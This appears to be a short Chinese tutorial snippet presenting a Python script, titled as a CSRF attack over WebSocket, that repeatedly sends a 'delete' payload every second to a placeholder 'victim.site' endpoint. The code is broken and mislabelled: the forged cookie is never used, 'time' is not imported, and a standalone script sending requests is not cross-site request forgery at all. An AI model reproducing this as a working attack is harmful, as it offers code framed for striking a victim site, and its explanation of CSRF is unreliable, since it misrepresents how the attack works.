如何使用Python实现CSRF攻击的WebSocket请求攻击

import websocket
import random
import string

# 伪造Cookie，这里使用随机字符串作为session值
def generate_cookie():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=16))

# WebSocket攻击函数
def csrf_attack(url, cookie):
    ws = websocket.WebSocket()
    ws.connect(url)
    # 这里构造一个恶意请求，例如请求一个不存在的API
    payload = f'{{"action":"delete", "target":"pidancode.com"}}'
    ws.send(payload)
    ws.close()

if __name__ == '__main__':
    # 设置受害站点的WebSocket地址和Session ID
    victim_url = 'wss://victim.site/ws'
    victim_cookie = generate_cookie()

    # 模拟攻击者发送恶意请求，这里每秒发送一次
    while True:
        csrf_attack(victim_url, victim_cookie)
        time.sleep(1)